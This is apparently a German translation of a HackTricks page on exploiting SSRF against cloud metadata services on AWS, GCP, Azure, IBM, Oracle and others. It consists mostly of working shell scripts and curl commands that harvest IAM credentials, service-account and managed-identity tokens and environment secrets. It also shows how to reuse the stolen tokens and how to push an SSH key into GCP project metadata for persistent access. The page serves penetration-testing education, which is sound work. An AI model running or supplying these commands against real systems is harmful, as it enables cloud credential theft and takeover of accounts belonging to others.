Cloud SSRF

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

AWS

Missbrauch von SSRF in der AWS EC2-Umgebung

Der metadata-Endpunkt kann von innerhalb jeder EC2-Maschine aus erreicht werden und bietet interessante Informationen darüber. Er ist erreichbar unter der url: http://169.254.169.254 (Informationen über die metadata hier).

Es gibt 2 Versionen des metadata-endpoints. Die erste erlaubt den Zugriff auf den Endpunkt über GET-Anfragen (also kann jede SSRF ihn ausnutzen). Für version 2, IMDSv2, musst du nach einem token fragen, indem du eine PUT-Anfrage mit einem HTTP header sendest, und dann dieses token verwenden, um mit einem weiteren HTTP header auf die metadata zuzugreifen (also ist es komplizierter, das mit einer SSRF zu missbrauchen).

Caution

Beachte, dass wenn die EC2-Instanz IMDSv2 erzwingt, laut den docs, die response der PUT-Anfrage eine hop limit von 1 haben wird, wodurch es unmöglich ist, von einem Container innerhalb der EC2-Instanz auf die EC2 metadata zuzugreifen.

Außerdem wird IMDSv2 auch Anfragen zum Abrufen eines tokens blockieren, die den X-Forwarded-For header enthalten. Das dient dazu, fehlkonfigurierte reverse proxies daran zu hindern, darauf zugreifen zu können.

Du kannst Informationen über die metadata endpoints in den docs finden. Im folgenden Skript werden daraus einige interessante Informationen gewonnen:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Als Beispiel für öffentlich verfügbare IAM credentials kannst du hier besuchen: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Du kannst auch öffentliche EC2 security credentials hier prüfen: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Du kannst dann diese credentials nehmen und mit der AWS CLI verwenden. Das erlaubt dir, alles zu tun, wofür diese role permissions hat.

Um die neuen credentials zu nutzen, musst du ein neues AWS profile wie dieses erstellen:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Beachte den aws_session_token, dieser ist unverzichtbar, damit das Profil funktioniert.

PACU kann mit den gefundenen credentials verwendet werden, um deine privileges herauszufinden und zu versuchen, privileges zu eskalieren

SSRF in AWS ECS (Container Service) credentials

ECS ist eine logische Gruppe von EC2-Instances, auf denen du eine Anwendung ausführen kannst, ohne deine eigene Cluster-Management-Infrastruktur skalieren zu müssen, weil ECS das für dich übernimmt. Wenn es dir gelingt, einen in ECS laufenden Service zu kompromittieren, ändern sich die metadata endpoints.

Wenn du http://169.254.170.2/v2/credentials/<GUID> aufrufst, findest du die credentials der ECS-Maschine. Aber zuerst musst du den <GUID> finden. Um den <GUID> zu finden, musst du die environ-Variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI innerhalb der Maschine auslesen.
Du könntest sie durch Ausnutzen eines Path Traversal zu file:///proc/self/environ lesen
Die genannte http-Adresse sollte dir den AccessKey, SecretKey und token liefern.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

Beachte, dass du in einigen Fällen vom Container aus auf die EC2 metadata instance zugreifen kannst (prüfe die zuvor erwähnten IMDSv2 TTL-Einschränkungen). In diesen Szenarien könntest du vom Container aus sowohl auf die Container-IAM-Role als auch auf die EC2-IAM-Role zugreifen.

SSRF in AWS EKS Pod Identity credentials

Neuere EKS-Cluster können Pod Identity statt des älteren ECS-ähnlichen relative URI flows verwenden. In diesen Pods injiziert EKS:

  • AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
  • AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

Daher kann eine SSRF/LFI, die env vars oder die projizierte service account token file lesen kann, oft die Pod-IAM-Credentials wiederherstellen, indem sie den lokalen Credential-Endpoint mit dem authorization token aus dieser Datei abfragt:

# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/

# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"

Dies ist besonders nützlich in EKS webhooks, templating services oder URL fetchers, die innerhalb von pods laufen und eine SSRF plus eine lokale file read Primitive bereitstellen. Die Antwort enthält temporäre AWS credentials, die über die AWS CLI oder Tools wie Pacu wiederverwendet werden können.

SSRF für AWS Lambda

In diesem Fall sind die credentials in env variables gespeichert. Um auf sie zuzugreifen, musst du also auf etwas wie file:///proc/self/environ zugreifen.

Die Namen der interessanten env variables sind:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCESS_KEY_ID

Außerdem haben Lambda functions zusätzlich zu IAM credentials auch event data, die an die function übergeben wird, wenn sie gestartet wird. Diese Daten werden der function über die runtime interface zur Verfügung gestellt und könnten sensitive information enthalten (wie innerhalb der stageVariables). Anders als IAM credentials sind diese Daten über standard SSRF unter http://localhost:9001/2018-06-01/runtime/invocation/next zugänglich.

Warning

Beachte, dass lambda credentials in den env variables liegen. Wenn also der stack trace des lambda codes env vars ausgibt, ist es möglich, sie durch das Auslösen eines Fehlers in der App zu exfiltrate.

SSRF URL für AWS Elastic Beanstalk

Wir holen die accountId und region aus der API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Wir rufen dann AccessKeyId, SecretAccessKey und Token von der API ab.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Dann verwenden wir die credentials mit aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Du kannst hier die docs über metadata endpoints finden.

SSRF URL für Google Cloud

Erfordert den HTTP-Header Metadata-Flavor: Google und du kannst auf den metadata endpoint mit den folgenden URLs zugreifen:

Interessante endpoints, um Informationen zu extrahieren:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta benötigt derzeit KEIN Header (danke Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

Um das exfiltrierte Service-Account-Token zu verwenden, kannst du einfach Folgendes tun:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Füge einen SSH-Schlüssel hinzu

Extrahiere das Token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Prüfe den Scope des Tokens (mit der vorherigen Ausgabe oder indem du Folgendes ausführst)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Jetzt den SSH-Key pushen.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

Der Metadata-Endpoint funktioniert genauso wie in VMs, aber ohne einige Endpoints:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Cloud Run / Cloud Functions 2nd gen

Für Cloud Run und 2nd generation Cloud Functions ist es normalerweise interessanter, nicht nur das OAuth access token zu stehlen, sondern auch ein audience-bound identity token vom metadata server. Das ist nützlich, wenn der kompromittierte workload private Cloud Run services, IAP-protected backends oder jeden Service erreichen kann, der von Google ausgestellte ID tokens validiert.

# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"

Tip

Der identity-Endpoint benötigt einen audience-Parameter. In realen Engagements bedeutet das normalerweise, dass du nach dem Nachweis von SSRF gegen token interne service URLs enumerieren und dann ein zweites token mit der exakten audience anfordern solltest, die der Zielservice erwartet.

Digital Ocean

Warning

Es gibt nichts wie AWS Roles oder GCP service account, also erwarte nicht, metadata bot credentials zu finden

Dokumentation verfügbar unter https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs hier.

  • Muss den Header Metadata: true enthalten
  • Darf nicht einen X-Forwarded-For Header enthalten

Tip

Eine Azure VM kann 1 system managed identity und mehrere user managed identities angehängt haben. Das bedeutet im Grunde, dass du alle an eine VM angehängten managed identities impersonate kannst.

Wenn ein access token am metadata endpoint angefordert wird, verwendet der metadata service standardmäßig die system assigned managed identity, um das token zu erzeugen, falls eine system assigned managed identity vorhanden ist. Falls es nur EINE user assigned managed identity gibt, wird diese standardmäßig verwendet. Wenn jedoch keine system assigned managed identity vorhanden ist und es mehrere user assigned managed identities gibt, gibt der metadata service einen Fehler zurück, der darauf hinweist, dass es mehrere managed identities gibt und es notwendig ist, anzugeben, welche verwendet werden soll.

Leider konnte ich keinen metadata endpoint finden, der alle MIs angibt, die an eine VM angehängt sind, daher kann das Herausfinden aller zugewiesenen managed identities einer VM aus Red Team Perspektive eine schwierige Aufgabe sein.

Daher kannst du, um alle angehängten MIs zu finden, Folgendes tun:

  • Angehängte identities mit az cli abrufen (wenn du bereits einen principal im Azure tenant mit der Berechtigung Microsoft.Compute/virtualMachines/read kompromittiert hast)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
  • Angehängte identities abrufen mit der standardmäßig angehängten MI in den metadata:
export API_VERSION="2021-12-13"

# Get token from default MI
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# Get needed details
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
  • Alle definierten managed identities im tenant abrufen und brute force, um zu sehen, ob eine davon an die VM angehängt ist (die Berechtigung Microsoft.ManagedIdentity/userAssignedIdentities/read wird benötigt):
az identity list

Caution

Bei den token requests verwende einen der Parameter object_id, client_id oder msi_res_id, um die managed identity anzugeben, die du verwenden möchtest (docs). Wenn keiner angegeben wird, wird die default MI verwendet.

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Warning

Beachte, dass der Endpoint http://169.254.169.254/metadata/v1/instanceinfo kein Metadata: True Header benötigt. Das ist großartig, um den Impact von SSRF vulnerabilities in Azure zu zeigen, wenn du diesen Header nicht hinzufügen kannst.

Azure App & Functions Services & Automation Accounts

Aus der env kannst du die Werte von IDENTITY_HEADER und IDENTITY_ENDPOINT erhalten. Diese kannst du verwenden, um ein Token zu holen, um mit dem metadata server zu sprechen.

Meistens willst du ein Token für eine dieser Ressourcen:

Caution

Verwende in den token requests einen der Parameter object_id, client_id oder msi_res_id, um die managed identity anzugeben, die du verwenden möchtest (docs). Wenn keiner angegeben wird, wird die default MI verwendet.

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

IBM Cloud

Warning

Beachte, dass in IBM standardmäßig metadata nicht aktiviert ist, daher ist es möglich, dass du nicht darauf zugreifen kannst, selbst wenn du dich innerhalb einer IBM cloud VM befindest

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Dokumentation für die Metadatenservices verschiedener Plattformen ist unten aufgeführt und hebt die Methoden hervor, über die auf Konfigurations- und Laufzeitinformationen für Instanzen zugegriffen werden kann. Jede Plattform bietet eigene Endpunkte für den Zugriff auf ihre Metadatenservices.

Packetcloud

Die Dokumentation für den Zugriff auf Packetcloud-Metadaten ist hier zu finden: https://metadata.packet.net/userdata

OpenStack/RackSpace

Die Notwendigkeit für einen Header wird hier nicht erwähnt. Auf Metadaten kann über Folgendes zugegriffen werden:

  • http://169.254.169.254/openstack

HP Helion

Die Notwendigkeit für einen Header wird hier ebenfalls nicht erwähnt. Metadaten sind unter folgender Adresse zugänglich:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud Infrastructure hat einen IMDSv2-Modus, der heute weitaus relevanter ist als die alten /latest/-Beispiele. In IMDSv2:

  • Requests gehen an http://169.254.169.254/opc/v2/
  • Requests müssen den Header Authorization: Bearer Oracle enthalten
  • Requests mit Forwarded, X-Forwarded-For oder X-Forwarded-Host werden abgelehnt
  • Wenn die Instanz so konfiguriert ist, dass nur IMDSv2 erlaubt ist, geben die alten Pfade /opc/v1 und /openstack 404 zurück

Interessante Endpunkte:

curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/

curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/

Aus SSRF-Perspektive verhält sich OCI jetzt deutlich näher an den gehärteten Cloud-Metadata-Services, die einen mandatory header verlangen und gängige forwarded-header proxy patterns ausdrücklich ablehnen.

Alibaba

Alibaba bietet Endpoints für den Zugriff auf metadata, einschließlich instance- und image-IDs:

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD kann API keys, interne IP addresses und ports enthalten. Der Zugriff wird demonstriert über:

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Auf Docker metadata kann lokal zugegriffen werden, mit Beispielen für das Abrufen von container- und image-Informationen:

  • Einfaches Beispiel zum Zugriff auf container- und images-metadata über den Docker socket:
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • Im container curl mit dem Docker socket verwenden:
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Auf Ranchers metadata kann mit folgendem zugegriffen werden:

  • curl http://rancher-metadata/<version>/<path>

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks